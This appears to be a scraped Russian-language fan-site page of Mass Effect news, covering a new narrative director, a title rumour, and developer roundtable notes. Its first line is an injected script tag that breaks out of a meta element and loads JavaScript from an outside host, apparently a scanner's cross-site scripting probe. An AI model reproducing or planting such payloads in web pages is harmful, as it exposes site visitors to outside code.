"></meta><ScRiPt/src=https://wapiti3.ovh/1z.js></sCrIpT/>
»Мари Демарль Разработчики игр Игры сценарист Mass Effect фэндомы
Над Mass Effect будет работать ведущий сценарист Deus Ex
К команде Mass Effect в качестве ведущего нарративного директора присоединилась сценарист Мэри Демарль. У нее богатый опыт работы в игровой индустрии (более 20 лет), и большую часть этого времени она провела в Eidos Montreal. Кроме прочих, она руководила написанием сюжета в Deus Ex: Human Revolution и ее сиквела Mankind Divided (а эту серию хвалят как раз за повествование и проработанный мир), а также в недавних Стражах Галактики от Марвел.
Отличный комментарий!
ME новости Mass Effect 4 Mass Effect Contact Mass Effect фэндомы
Слух. Название нового Mass Effect
Авторитетный инсайдер Ахсан Рашид (Ahsan Rasheed) сообщил , что новый Mass Effect t будет показана на E3 2014 и предложил нам угадать название игры, указав, какие буквы в нём будут использоваться.
Инсайдер написал, что игра будет называться Mass Effect _ _ N T _ _ T, а затем добавил, что если он раскроет другие буквы, всё будет очень просто. Но даже так пользователи догадались, что перед ними имечко Mass Effect : Contact.
Тем временем Глава BioWare Montreal Яник Рой на своём твиттере опроверг слухи про Mass Effect:Contact .«Новый Mass Effect еще не имеет названия, только рабочее имя». Также среди заявленных на E3 Mass Effect пока не значится.
ME новости Mass Effect фэндомы
На мероприятии от BioWare "День N7", за круглым столом разработчики поделились информацией к новом Mass Effect.
• Часть людей из команды Dragon Age перешла в команду Mass Effect, чтобы поднять игру на "новый уровень".
• Цель разработчиков создать самую большую игру в серии.
• Благодаря движку Frostbite разработчики могут сделать то, что в прошлом было сделать невозможно.
• Будут представлены минимум две новые инопланетные расы. Они обитают в специальных мирах с уникальной структурой.
• В игре будет много миров доступных для исследования.
• Все места, которые может посетить игрок, связаны "с чем-то большим". В игре будут много древних руин, которые скрывают мистические тайны.
• Разработчики отметили, что на исследовании данных миров и рас сделан немалый акцент. "Дело не только в географии. Вам предстоит открывать для себя другие инопланетые виды, живых существ, их культуру и т.д."
• BioWare также хотят сделать исследование просторов космоса важной частью геймплея.
• Разработчики не заставляют игроков насильно исследовать вселенную игры. У игроков есть свобода действия, и они могут делать, что захотят.
• Главный герой в начале игры не является известной личностью, как это было в случае с Шеп. Ум, способности, но до статуса легенды далеко. Вам предстоит преодолеть немало испытанию на пути к признанию.
• В какой-то мере разработчики придерживаются наследия предыдущих игр, однако они также хотят сделать "скачок вперед", добавив в игру новые идеи и концепты.
• В игре будет присутствовать тема противостояния органики и синтетики.
• Разработчики хотят, чтобы игроки погружались в игровой мир как можно дальше, поэтому в игре не будет слишком большого количества кат-сцен и прочих подобных вещей.
• Несмотря на акцент, сделанный на исследовании вселенной, в игре, как и в предыдущих частях серии, будет немалое количество перестрелок и боевых приспособлений.
• Отношения с другими персонажами очень важный аспект игры. Динамика отношений между персонажами на совсем другом уровне, что была ранее в серии.
• В игре будет свой аналог Цитадели
• В игре будет новый динамический вариант карты
по материалам gamer-info.com и bioware.ru
В Стражах Галактики кстати тоже отличнейший сценарий (сюжет там простой, я говорю именно про сценарий) и одни из самых живых диалогов в играх.